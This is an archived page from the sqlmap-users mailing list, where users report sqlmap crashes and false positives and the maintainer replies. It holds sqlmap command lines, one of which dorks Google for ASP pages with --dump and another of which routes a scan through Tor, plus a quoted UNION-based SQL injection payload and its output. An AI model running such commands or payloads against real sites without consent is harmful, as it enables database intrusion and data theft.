sqlmap-users — sqlmap users mailing list

[sqlmap-users] Parameter "from-to"

[Sebastian N. <seb...@sy...>]

Hi,

my apologies, if the question is covered in the documentation, but I
could not find anything.

Does SQLMAP support providing parameter limits? An example:

param=firstvalue:MTIz:12
decoded:
param=firstvalue:123:12

I'd love to e.g. use base64encode. but for this I would have to be able
to tell SQLMAP the delimiters or start- and endpositions (e.g.:
param=firstvalue:#123*:12, where the parameter would be 123)

All the best,

Sebastian Nerz

Re: [sqlmap-users] restore session

[Miroslav S. <mir...@gm...>]

Hi.

Just take a look into target.txt and use that URL from there.

Kind regards,
Miroslav Stampar


On Fri, Jun 21, 2013 at 9:30 AM, Marcell Fodor <fod...@gm...>wrote:

> Heya,
>
> Sqlmap successfully identified an injecton point in the past and all data
> written to /output/domain.
>
> --
> log
> session.sqlite
> target.txt
> --
>
> Do I have to reconstruct the original sqlmap command from the files, or
> there is an easier way to simple recheck/reuse the original injection point?
>
> M
>
>
>
>
> ------------------------------------------------------------------------------
> This SF.net email is sponsored by Windows:
>
> Build for Windows Store.
>
> http://p.sf.net/sfu/windows-dev2dev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] restore session

[Marcell F. <fod...@gm...>]

Heya,

Sqlmap successfully identified an injecton point in the past and all data
written to /output/domain.

--
log
session.sqlite
target.txt
--

Do I have to reconstruct the original sqlmap command from the files, or
there is an easier way to simple recheck/reuse the original injection point?

M

Re: [sqlmap-users] bugReport

[Miroslav S. <mir...@gm...>]

Hi.

You've skipped the last line of the report/traceback, so I can only guess
from your revision number (ad07add) that you are referring to a bug fixed 6
days ago [1].

Please update to the latest revision and retry it again.

Kind regards,
Miroslav Stampar

[1] https://github.com/sqlmapproject/sqlmap/issues/463


On Fri, Jun 14, 2013 at 4:59 AM, jiangzhw2008 <jia...@ye...> wrote:

> Dear all,
> while i executed this command:
> >sqlmap.py -g "allinurl:asp?" --batch  --dump --level 3 --random-agent
> i got such error as below,which prompted me to sumbit it :
> *[07:37:39] [CRITICAL] unhandled exception in sqlmap/1.0-dev, retry your
> run with the latest development version from the GitHub*
> *repository. If the exception persists, please send by e-mail to '
> sql...@li...' or open a new issue at 'htt*
> *ps://github.com/sqlmapproject/sqlmap/issues/new' with the following text
> and any information required to reproduce the bug. The*
> *developers will try to reproduce the bug, fix it accordingly and get
> back to you.*
> *sqlmap version: 1.0-dev*
> *Python version: 2.7*
> *Operating system: nt*
> *Command line: D:\vulDig\sqlmap-ad07add\sqlmap.py -g *************
> --batch --dump --level 3 --random-agent*
> *Technique: None*
> *Back-end DBMS: None (identified)*
> *Traceback (most recent call last):*
> *  File "D:\vulDig\sqlmap-ad07add\sqlmap.py", line 95, in main*
> *    start()*
> *  File "D:\vulDig\sqlmap-ad07add\lib\controller\controller.py", line
> 357, in start*
> *    if not checkConnection(suppressOutput=conf.forms) or not
> checkString() or not checkRegexp():*
> *  File "D:\vulDig\sqlmap-ad07add\lib\controller\checks.py", line 1174,
> in checkConnection*
> *    page, _ = Request.queryPage(content=True, noteResponseTime=False)*
> *  File "D:\vulDig\sqlmap-ad07add\lib\request\connect.py", line 847, in
> queryPage*
> *    page, headers, code = Connect.getPage(url=uri, get=get, post=post,
> cookie=cookie, ua=ua, referer=referer, host=host, silent=*
> *silent, method=method, auxHeaders=auxHeaders, response=response,
> raise404=raise404, ignoreTimeout=timeBasedCompare)*
> *  File "D:\vulDig\sqlmap-ad07add\lib\request\connect.py", line 562, in
> getPage*
> *    _ = urlparse.urlsplit(conn.redurl)*
> *  File "C:\Python27\lib\urlparse.py", line 173, in urlsplit*
> *    i = url.find(':')*
>
> --
>
> BizCard: http://about.me/zjohn
>
>
> <#13f49dfe6d714929_>
>
> ------------------------------------------------------------------------------
> This SF.net email is sponsored by Windows:
>
> Build for Windows Store.
>
> http://p.sf.net/sfu/windows-dev2dev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm

Re: [sqlmap-users] BUG

[Miroslav S. <mir...@gm...>]

Hi.

Thank you for your report and find it fixed now.

Kind regards,
Miroslav Stampar


On Sat, Jun 15, 2013 at 12:38 PM, <cyb...@to...> wrote:

> [11:39:22] [CRITICAL] unhandled exception in sqlmap/1.0-dev, retry your
> run with the latest development version from the GitHub repository. If the
> exception persists, please send by e-mail to
> 'sql...@li...' or open a new issue at
> 'https://github.com/sqlmapproject/sqlmap/issues/new' with the following
> text and any information required to reproduce the bug. The developers
> will try to reproduce the bug, fix it accordingly and get back to you.
> sqlmap version: 1.0-dev
> Python version: 2.7.3
> Operating system: posix
> Command line: ./sqlmap --tor --tor-type=SOCKS5 --mobile -u
> **************************************************** --risk=3 --dbms=mysql
> -o --technique=EU --search -C ******************** --threads=10
> --answers=follow=Y --smart -v3
> Technique: ERROR
> Back-end DBMS: MySQL (fingerprinted)
> Traceback (most recent call last):
>   File "./sqlmap", line 95, in main
>     start()
>   File "/usr/share/sqlmap/lib/controller/controller.py", line 576, in start
>     action()
>   File "/usr/share/sqlmap/lib/controller/action.py", line 133, in action
>     conf.dbmsHandler.search()
>   File "/usr/share/sqlmap/plugins/generic/search.py", line 594, in search
>     self.searchColumn()
>   File "/usr/share/sqlmap/plugins/generic/search.py", line 433, in
> searchColumn
>     tbls = tbl.split(",")
> AttributeError: 'NoneType' object has no attribute 'split'
>
>
>
> ------------------------------------------------------------------------------
> This SF.net email is sponsored by Windows:
>
> Build for Windows Store.
>
> http://p.sf.net/sfu/windows-dev2dev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>



-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] BUG

[<cyb...@to...>]

[11:39:22] [CRITICAL] unhandled exception in sqlmap/1.0-dev, retry your
run with the latest development version from the GitHub repository. If the
exception persists, please send by e-mail to
'sql...@li...' or open a new issue at
'https://github.com/sqlmapproject/sqlmap/issues/new' with the following
text and any information required to reproduce the bug. The developers
will try to reproduce the bug, fix it accordingly and get back to you.
sqlmap version: 1.0-dev
Python version: 2.7.3
Operating system: posix
Command line: ./sqlmap --tor --tor-type=SOCKS5 --mobile -u
**************************************************** --risk=3 --dbms=mysql
-o --technique=EU --search -C ******************** --threads=10
--answers=follow=Y --smart -v3
Technique: ERROR
Back-end DBMS: MySQL (fingerprinted)
Traceback (most recent call last):
  File "./sqlmap", line 95, in main
    start()
  File "/usr/share/sqlmap/lib/controller/controller.py", line 576, in start
    action()
  File "/usr/share/sqlmap/lib/controller/action.py", line 133, in action
    conf.dbmsHandler.search()
  File "/usr/share/sqlmap/plugins/generic/search.py", line 594, in search
    self.searchColumn()
  File "/usr/share/sqlmap/plugins/generic/search.py", line 433, in
searchColumn
    tbls = tbl.split(",")
AttributeError: 'NoneType' object has no attribute 'split'

[sqlmap-users] bugReport

[jiangzhw2008 <jia...@ye...>]

Dear all,
while i executed this command:

>sqlmap.py -g "allinurl:asp?" --batch  --dump --level 3 --random-agent
i got such error as below,which prompted me to sumbit it :
[07:37:39] [CRITICAL] unhandled exception in sqlmap/1.0-dev, retry your run with the latest development version from the GitHub
repository. If the exception persists, please send by e-mail to 'sql...@li...' or open a new issue at 'htt
ps://github.com/sqlmapproject/sqlmap/issues/new' with the following text and any information required to reproduce the bug. The
developers will try to reproduce the bug, fix it accordingly and get back to you.
sqlmap version: 1.0-dev
Python version: 2.7
Operating system: nt
Command line: D:\vulDig\sqlmap-ad07add\sqlmap.py -g ************* --batch --dump --level 3 --random-agent
Technique: None
Back-end DBMS: None (identified)
Traceback (most recent call last):
  File "D:\vulDig\sqlmap-ad07add\sqlmap.py", line 95, in main
    start()
  File "D:\vulDig\sqlmap-ad07add\lib\controller\controller.py", line 357, in start
    if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp():
  File "D:\vulDig\sqlmap-ad07add\lib\controller\checks.py", line 1174, in checkConnection
    page, _ = Request.queryPage(content=True, noteResponseTime=False)
  File "D:\vulDig\sqlmap-ad07add\lib\request\connect.py", line 847, in queryPage
    page, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=
silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare)
  File "D:\vulDig\sqlmap-ad07add\lib\request\connect.py", line 562, in getPage
    _ = urlparse.urlsplit(conn.redurl)
  File "C:\Python27\lib\urlparse.py", line 173, in urlsplit
    i = url.find(':')


--



BizCard: http://about.me/zjohn

Re: [sqlmap-users] error or bug

[Miroslav S. <mir...@gm...>]

Could you please send me a content of traffic file for normal sqlmap run?
Just use -u .... --flush-session -t traffic.txt

Kind regards,
Miroslav Stampar
On Jun 13, 2013 12:37 AM, "Jonatah Romero" <jon...@ho...>
wrote:

> Okay, the target, when accessed without setting value for the ID, or
> removing it, the browser, for example:
>
> www.target.com /action/ link.php
>
> shows two errors, "Undefined index: id in on line 5," and "Call to
> undefined function decode () in on line 5", note that a function decode ()
> is invoked to handle the GET parameter, and is precisely this function that
> is making the injection a false positive, I think. I thought enough of
> something to get around it, including, I believe, some to use this form of
> defense against sql injection.
>
> ------------------------------
> Date: Wed, 12 Jun 2013 22:19:07 +0200
> Subject: Re: [sqlmap-users] error or bug
> From: mir...@gm...
> To: jon...@ho...
> CC: sql...@li...
>
> Most probably it has a dynamic content inside (changing between each
> response). I can't tell you more because I don't know the details about the
> target.
>
> Kind regards,
> Miroslav Stampar
> On Jun 12, 2013 9:13 PM, "Jonatah Romero" <jon...@ho...>
> wrote:
>
> It is a false positive because of filters sanitize, or some function
> decode () making sure the ID explicitly safe? Or some other reason?
>
> ------------------------------
> Date: Wed, 12 Jun 2013 06:02:23 +0200
> Subject: Re: [sqlmap-users] error or bug
> From: mir...@gm...
> To: jon...@ho...
> CC: sql...@li...
>
> Hi.
>
> It's a false positive.
>
> Kind regards,
> Miroslav Stampar
> On Jun 12, 2013 2:42 AM, "Jonatah Romero" <jon...@ho...>
> wrote:
>
> Hello guys, i made 3 attempts injection, all 3 have unequal information,
> one said there was no injection, the other said through heuristics to be
> Firebird DBMS, and the DBMS be another SAP MaxDB. I also tested it with
> --tamper, and --string, as stated sqlmap, stated that it was a false
> positive. It would be a bug or error?
>
> Love information, more and more, I'm hungry :-).
>
>
> sqlmap.py -u "https://website/action/link?id=value" --fingerprint
> --threads=10 --technique=B
>
>     sqlmap/1.0-dev-42a8234 - automatic SQL injection and database takeover
> tool
>     http://sqlmap.org
>
> [!] legal disclaimer: Usage of sqlmap for attacking targets without prior
> mutual consent is illegal. It is the end user'
> s responsibility to obey all applicable local, state and federal laws.
> Developers assume no liability and are not respon
> sible for any misuse or damage caused by this program
>
> [*] starting at 20:42:06
>
> [20:42:06] [INFO] testing connection to the target URL
> [20:42:06] [INFO] heuristics detected web page charset 'ascii'
> [20:42:06] [INFO] testing if the target URL is stable. This can take a
> coulpe of seconds
> [20:42:08] [INFO] testing if GET parameter 'id' is dynamic
> [20:42:08] [WARNING] GET parameter 'id' does not appear dynamic
> [20:42:09] [WARNING] heuristic <basic> test shows that GET parameter 'id'
> might not be injectable
> [20:42:09] [INFO] testing for SQL injection on GET parameter 'id'
> [20:42:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING
> clause'
> [20:42:14] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind
> - WHERE or HAVING clause' injectable <with --string="0.0001">
> [20:42:18] [INFO] heuristic <extended> test shows that the back-end DBMS
> could be 'Firebird'
> do you want to include all tests for 'Firebird' extending provided level
> <1> and risk <1>? [Y/n] y
> [20:42:26] [INFO] checking if the injection point on GET parameter 'id' is
> a false positive
> [20:42:27] [WARNING] false positive or unexploitable injection point
> detected
> [20:42:27] [WARNING] there is a possibility that the character '>' is
> filtered by the back-end server. You can try to rerun with
> '--tamper=between'
> [20:42:27] [WARNING] GET parameter 'id' is not injectable
> [20:42:27] [CRITICAL] all teste parameters appear to be not injectable.
> Try to increase '--level'/'--risk' values to perform more tests. Rerun
> without providing the option '--technique'. Also, you can try to rerun by
> providing a valid value for option '--string' as perhaps the string you
> have choosen does not match exclusively True responses
>
> [*] shutting down at 20:42:27
>
>
> ------------------------------------------------------------------------------
> This SF.net email is sponsored by Windows:
>
> Build for Windows Store.
>
> http://p.sf.net/sfu/windows-dev2dev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>
>
> ------------------------------------------------------------------------------
> This SF.net email is sponsored by Windows:
>
> Build for Windows Store.
>
> http://p.sf.net/sfu/windows-dev2dev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>
>
> ------------------------------------------------------------------------------
> This SF.net email is sponsored by Windows:
>
> Build for Windows Store.
>
> http://p.sf.net/sfu/windows-dev2dev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>

Re: [sqlmap-users] error or bug

[Jonatah R. <jon...@ho...>]

Okay, the target, when accessed without setting value for the ID, or removing it, the browser, for example:
www.target.com /action/ link.php
shows two errors, "Undefined index: id in on line 5," and "Call to undefined function decode () in on line 5", note that a function decode () is invoked to handle the GET parameter, and is precisely this function that is making the injection a false positive, I think. I thought enough of something to get around it, including, I believe, some to use this form of defense against sql injection.
Date: Wed, 12 Jun 2013 22:19:07 +0200
Subject: Re: [sqlmap-users] error or bug
From: mir...@gm...
To: jon...@ho...
CC: sql...@li...

Most probably it has a dynamic content inside (changing between each response). I can't tell you more because I don't know the details about the target.
Kind regards,

Miroslav Stampar
On Jun 12, 2013 9:13 PM, "Jonatah Romero" <jon...@ho...> wrote:




It is a false positive because of filters sanitize, or some function decode () making sure the ID explicitly safe? Or some other reason?

Date: Wed, 12 Jun 2013 06:02:23 +0200
Subject: Re: [sqlmap-users] error or bug

From: mir...@gm...
To: jon...@ho...
CC: sql...@li...


Hi.
It's a false positive.
Kind regards,

Miroslav Stampar
On Jun 12, 2013 2:42 AM, "Jonatah Romero" <jon...@ho...> wrote:





Hello guys, i made 3 attempts injection, all 3 have unequal information, one said there was no injection, the other said through heuristics to be Firebird DBMS, and the DBMS be another SAP MaxDB. I also tested it with --tamper, and --string, as stated sqlmap, stated that it was a false positive. It would be a bug or error?


Love information, more and more, I'm hungry :-).

sqlmap.py -u "https://website/action/link?id=value" --fingerprint --threads=10 --technique=B


    sqlmap/1.0-dev-42a8234 - automatic SQL injection and database takeover tool    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user'

s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 20:42:06


[20:42:06] [INFO] testing connection to the target URL[20:42:06] [INFO] heuristics detected web page charset 'ascii'[20:42:06] [INFO] testing if the target URL is stable. This can take a coulpe of seconds

[20:42:08] [INFO] testing if GET parameter 'id' is dynamic[20:42:08] [WARNING] GET parameter 'id' does not appear dynamic[20:42:09] [WARNING] heuristic <basic> test shows that GET parameter 'id' might not be injectable

[20:42:09] [INFO] testing for SQL injection on GET parameter 'id'[20:42:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[20:42:14] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable <with --string="0.0001">

[20:42:18] [INFO] heuristic <extended> test shows that the back-end DBMS could be 'Firebird'do you want to include all tests for 'Firebird' extending provided level <1> and risk <1>? [Y/n] y

[20:42:26] [INFO] checking if the injection point on GET parameter 'id' is a false positive[20:42:27] [WARNING] false positive or unexploitable injection point detected[20:42:27] [WARNING] there is a possibility that the character '>' is filtered by the back-end server. You can try to rerun with '--tamper=between'

[20:42:27] [WARNING] GET parameter 'id' is not injectable[20:42:27] [CRITICAL] all teste parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Rerun without providing the option '--technique'. Also, you can try to rerun by providing a valid value for option '--string' as perhaps the string you have choosen does not match exclusively True responses


[*] shutting down at 20:42:27 		 	   		  

------------------------------------------------------------------------------

This SF.net email is sponsored by Windows:



Build for Windows Store.



http://p.sf.net/sfu/windows-dev2dev
_______________________________________________

sqlmap-users mailing list

sql...@li...

https://lists.sourceforge.net/lists/listinfo/sqlmap-users


 		 	   		  

------------------------------------------------------------------------------

This SF.net email is sponsored by Windows:



Build for Windows Store.



http://p.sf.net/sfu/windows-dev2dev
_______________________________________________

sqlmap-users mailing list

sql...@li...

https://lists.sourceforge.net/lists/listinfo/sqlmap-users


 		 	   		  

Re: [sqlmap-users] error or bug

[Miroslav S. <mir...@gm...>]

Most probably it has a dynamic content inside (changing between each
response). I can't tell you more because I don't know the details about the
target.

Kind regards,
Miroslav Stampar
On Jun 12, 2013 9:13 PM, "Jonatah Romero" <jon...@ho...>
wrote:

> It is a false positive because of filters sanitize, or some function
> decode () making sure the ID explicitly safe? Or some other reason?
>
> ------------------------------
> Date: Wed, 12 Jun 2013 06:02:23 +0200
> Subject: Re: [sqlmap-users] error or bug
> From: mir...@gm...
> To: jon...@ho...
> CC: sql...@li...
>
> Hi.
>
> It's a false positive.
>
> Kind regards,
> Miroslav Stampar
> On Jun 12, 2013 2:42 AM, "Jonatah Romero" <jon...@ho...>
> wrote:
>
> Hello guys, i made 3 attempts injection, all 3 have unequal information,
> one said there was no injection, the other said through heuristics to be
> Firebird DBMS, and the DBMS be another SAP MaxDB. I also tested it with
> --tamper, and --string, as stated sqlmap, stated that it was a false
> positive. It would be a bug or error?
>
> Love information, more and more, I'm hungry :-).
>
>
> sqlmap.py -u "https://website/action/link?id=value" --fingerprint
> --threads=10 --technique=B
>
>     sqlmap/1.0-dev-42a8234 - automatic SQL injection and database takeover
> tool
>     http://sqlmap.org
>
> [!] legal disclaimer: Usage of sqlmap for attacking targets without prior
> mutual consent is illegal. It is the end user'
> s responsibility to obey all applicable local, state and federal laws.
> Developers assume no liability and are not respon
> sible for any misuse or damage caused by this program
>
> [*] starting at 20:42:06
>
> [20:42:06] [INFO] testing connection to the target URL
> [20:42:06] [INFO] heuristics detected web page charset 'ascii'
> [20:42:06] [INFO] testing if the target URL is stable. This can take a
> coulpe of seconds
> [20:42:08] [INFO] testing if GET parameter 'id' is dynamic
> [20:42:08] [WARNING] GET parameter 'id' does not appear dynamic
> [20:42:09] [WARNING] heuristic <basic> test shows that GET parameter 'id'
> might not be injectable
> [20:42:09] [INFO] testing for SQL injection on GET parameter 'id'
> [20:42:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING
> clause'
> [20:42:14] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind
> - WHERE or HAVING clause' injectable <with --string="0.0001">
> [20:42:18] [INFO] heuristic <extended> test shows that the back-end DBMS
> could be 'Firebird'
> do you want to include all tests for 'Firebird' extending provided level
> <1> and risk <1>? [Y/n] y
> [20:42:26] [INFO] checking if the injection point on GET parameter 'id' is
> a false positive
> [20:42:27] [WARNING] false positive or unexploitable injection point
> detected
> [20:42:27] [WARNING] there is a possibility that the character '>' is
> filtered by the back-end server. You can try to rerun with
> '--tamper=between'
> [20:42:27] [WARNING] GET parameter 'id' is not injectable
> [20:42:27] [CRITICAL] all teste parameters appear to be not injectable.
> Try to increase '--level'/'--risk' values to perform more tests. Rerun
> without providing the option '--technique'. Also, you can try to rerun by
> providing a valid value for option '--string' as perhaps the string you
> have choosen does not match exclusively True responses
>
> [*] shutting down at 20:42:27
>
>
> ------------------------------------------------------------------------------
> This SF.net email is sponsored by Windows:
>
> Build for Windows Store.
>
> http://p.sf.net/sfu/windows-dev2dev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>
>
> ------------------------------------------------------------------------------
> This SF.net email is sponsored by Windows:
>
> Build for Windows Store.
>
> http://p.sf.net/sfu/windows-dev2dev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>

Re: [sqlmap-users] error or bug

[Jonatah R. <jon...@ho...>]

It is a false positive because of filters sanitize, or some function decode () making sure the ID explicitly safe? Or some other reason?

Date: Wed, 12 Jun 2013 06:02:23 +0200
Subject: Re: [sqlmap-users] error or bug
From: mir...@gm...
To: jon...@ho...
CC: sql...@li...

Hi.
It's a false positive.
Kind regards,

Miroslav Stampar
On Jun 12, 2013 2:42 AM, "Jonatah Romero" <jon...@ho...> wrote:




Hello guys, i made 3 attempts injection, all 3 have unequal information, one said there was no injection, the other said through heuristics to be Firebird DBMS, and the DBMS be another SAP MaxDB. I also tested it with --tamper, and --string, as stated sqlmap, stated that it was a false positive. It would be a bug or error?

Love information, more and more, I'm hungry :-).

sqlmap.py -u "https://website/action/link?id=value" --fingerprint --threads=10 --technique=B

    sqlmap/1.0-dev-42a8234 - automatic SQL injection and database takeover tool    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user'
s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 20:42:06

[20:42:06] [INFO] testing connection to the target URL[20:42:06] [INFO] heuristics detected web page charset 'ascii'[20:42:06] [INFO] testing if the target URL is stable. This can take a coulpe of seconds
[20:42:08] [INFO] testing if GET parameter 'id' is dynamic[20:42:08] [WARNING] GET parameter 'id' does not appear dynamic[20:42:09] [WARNING] heuristic <basic> test shows that GET parameter 'id' might not be injectable
[20:42:09] [INFO] testing for SQL injection on GET parameter 'id'[20:42:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[20:42:14] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable <with --string="0.0001">
[20:42:18] [INFO] heuristic <extended> test shows that the back-end DBMS could be 'Firebird'do you want to include all tests for 'Firebird' extending provided level <1> and risk <1>? [Y/n] y
[20:42:26] [INFO] checking if the injection point on GET parameter 'id' is a false positive[20:42:27] [WARNING] false positive or unexploitable injection point detected[20:42:27] [WARNING] there is a possibility that the character '>' is filtered by the back-end server. You can try to rerun with '--tamper=between'
[20:42:27] [WARNING] GET parameter 'id' is not injectable[20:42:27] [CRITICAL] all teste parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Rerun without providing the option '--technique'. Also, you can try to rerun by providing a valid value for option '--string' as perhaps the string you have choosen does not match exclusively True responses

[*] shutting down at 20:42:27 		 	   		  

------------------------------------------------------------------------------

This SF.net email is sponsored by Windows:



Build for Windows Store.



http://p.sf.net/sfu/windows-dev2dev
_______________________________________________

sqlmap-users mailing list

sql...@li...

https://lists.sourceforge.net/lists/listinfo/sqlmap-users


 		 	   		  

Re: [sqlmap-users] error or bug

[Miroslav S. <mir...@gm...>]

Hi.

It's a false positive.

Kind regards,
Miroslav Stampar
On Jun 12, 2013 2:42 AM, "Jonatah Romero" <jon...@ho...>
wrote:

> Hello guys, i made 3 attempts injection, all 3 have unequal information,
> one said there was no injection, the other said through heuristics to be
> Firebird DBMS, and the DBMS be another SAP MaxDB. I also tested it with
> --tamper, and --string, as stated sqlmap, stated that it was a false
> positive. It would be a bug or error?
>
> Love information, more and more, I'm hungry :-).
>
>
> sqlmap.py -u "https://website/action/link?id=value" --fingerprint
> --threads=10 --technique=B
>
>     sqlmap/1.0-dev-42a8234 - automatic SQL injection and database takeover
> tool
>     http://sqlmap.org
>
> [!] legal disclaimer: Usage of sqlmap for attacking targets without prior
> mutual consent is illegal. It is the end user'
> s responsibility to obey all applicable local, state and federal laws.
> Developers assume no liability and are not respon
> sible for any misuse or damage caused by this program
>
> [*] starting at 20:42:06
>
> [20:42:06] [INFO] testing connection to the target URL
> [20:42:06] [INFO] heuristics detected web page charset 'ascii'
> [20:42:06] [INFO] testing if the target URL is stable. This can take a
> coulpe of seconds
> [20:42:08] [INFO] testing if GET parameter 'id' is dynamic
> [20:42:08] [WARNING] GET parameter 'id' does not appear dynamic
> [20:42:09] [WARNING] heuristic <basic> test shows that GET parameter 'id'
> might not be injectable
> [20:42:09] [INFO] testing for SQL injection on GET parameter 'id'
> [20:42:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING
> clause'
> [20:42:14] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind
> - WHERE or HAVING clause' injectable <with --string="0.0001">
> [20:42:18] [INFO] heuristic <extended> test shows that the back-end DBMS
> could be 'Firebird'
> do you want to include all tests for 'Firebird' extending provided level
> <1> and risk <1>? [Y/n] y
> [20:42:26] [INFO] checking if the injection point on GET parameter 'id' is
> a false positive
> [20:42:27] [WARNING] false positive or unexploitable injection point
> detected
> [20:42:27] [WARNING] there is a possibility that the character '>' is
> filtered by the back-end server. You can try to rerun with
> '--tamper=between'
> [20:42:27] [WARNING] GET parameter 'id' is not injectable
> [20:42:27] [CRITICAL] all teste parameters appear to be not injectable.
> Try to increase '--level'/'--risk' values to perform more tests. Rerun
> without providing the option '--technique'. Also, you can try to rerun by
> providing a valid value for option '--string' as perhaps the string you
> have choosen does not match exclusively True responses
>
> [*] shutting down at 20:42:27
>
>
> ------------------------------------------------------------------------------
> This SF.net email is sponsored by Windows:
>
> Build for Windows Store.
>
> http://p.sf.net/sfu/windows-dev2dev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>

[sqlmap-users] error or bug

[Jonatah R. <jon...@ho...>]

Hello guys, i made 3 attempts injection, all 3 have unequal information, one said there was no injection, the other said through heuristics to be Firebird DBMS, and the DBMS be another SAP MaxDB. I also tested it with --tamper, and --string, as stated sqlmap, stated that it was a false positive. It would be a bug or error?
Love information, more and more, I'm hungry :-).

sqlmap.py -u "https://website/action/link?id=value" --fingerprint --threads=10 --technique=B
    sqlmap/1.0-dev-42a8234 - automatic SQL injection and database takeover tool    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 20:42:06
[20:42:06] [INFO] testing connection to the target URL[20:42:06] [INFO] heuristics detected web page charset 'ascii'[20:42:06] [INFO] testing if the target URL is stable. This can take a coulpe of seconds[20:42:08] [INFO] testing if GET parameter 'id' is dynamic[20:42:08] [WARNING] GET parameter 'id' does not appear dynamic[20:42:09] [WARNING] heuristic <basic> test shows that GET parameter 'id' might not be injectable[20:42:09] [INFO] testing for SQL injection on GET parameter 'id'[20:42:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[20:42:14] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable <with --string="0.0001">[20:42:18] [INFO] heuristic <extended> test shows that the back-end DBMS could be 'Firebird'do you want to include all tests for 'Firebird' extending provided level <1> and risk <1>? [Y/n] y[20:42:26] [INFO] checking if the injection point on GET parameter 'id' is a false positive[20:42:27] [WARNING] false positive or unexploitable injection point detected[20:42:27] [WARNING] there is a possibility that the character '>' is filtered by the back-end server. You can try to rerun with '--tamper=between'[20:42:27] [WARNING] GET parameter 'id' is not injectable[20:42:27] [CRITICAL] all teste parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Rerun without providing the option '--technique'. Also, you can try to rerun by providing a valid value for option '--string' as perhaps the string you have choosen does not match exclusively True responses
[*] shutting down at 20:42:27 		 	   		  

Re: [sqlmap-users] Fwd: A simple injection case failing

[Miroslav S. <mir...@gm...>]

Hi again.

Now I've understood what you are trying to point out.

Could you please tell how do you expect sqlmap to help you here?
Input/output trimming is a death to automatization.

Kind regards,
Miroslav Stampar


On Mon, Jun 10, 2013 at 11:07 PM, Stephen Shkardoon <ss...@ss...>wrote:

> Hi,
>
> I understand why those examples made it seem like the *output* was being
> trimmed, I am quite sure that is not the case.
> To demonstrate once again, consider the input to parameter one:
> -4230' UNION SELECT NULL,2,':jug:KleqKYCxqt:hor:'  --
>
> The output of this input is: [{"id":2,"title":":jug:KleqKYCxqt:hor:"}]
>
> Does this clear it up? The reason the output seemed like it was being
> trimmed was that a) the input was cut off at a point where the SQL only
> contained those characters, and b) the internal mechanism for making the
> SQL valid even if there is a ' by itself (at least, I'm guessing here. I'm
> not sure on this mechanism as it is a blackbox test as I said).
> The difference between the two examples (the one where it seems cut off vs
> not) is of course the length of the input parameters. Here is another
> example to show that the input length is causing issues. Keep in mind, the
> spaces matter in this example, since they count towards the length:
> -4230' UNION SELECT NULL,2
>
>        ,':jug:KleqKYCxqt:hor:'  --
> Response: an error
>
> As you can see clearly, even characters such as a space count towards this
> input limit to cause an error, which results in the query being truncated
> in a place that causes an invalid statement (with the 167 limit, it would
> look like "-4230' UNION SELECT NULL,2
>
>                  ,':jug:Kl" which is invalid. If we change this example to
> be:
> -4230' UNION SELECT NULL,2
>
>        ,':'--
> We get the output: [{"id":2,"title":":"}]
> This is of course because the query is now valid, because it does not have
> parts cut off in the middle of syntactically important places.
>
> With this information, specifically showing that the output is not cut
> off, even with those specific inputs, it should be clear that the output
> isn't being manipulated (at least, in the way that it seemed to be from
> those examples).
> Would like more examples to show you that the idea of the output being cut
> off is incorrect if it helps?
>
> Lastly, I really do appreciate the time you're taking to help me out with
> this. I'm sorry for doing a poor job of explaining it so far to lead to
> this misunderstanding.
>
> Thanks,
> Stephen
>
>
> On Tue, Jun 11, 2013 at 8:22 AM, Miroslav Stampar <
> mir...@gm...> wrote:
>
>> Hi.
>>
>> At start I'll repeat that if you look into a traffic file you'll see that
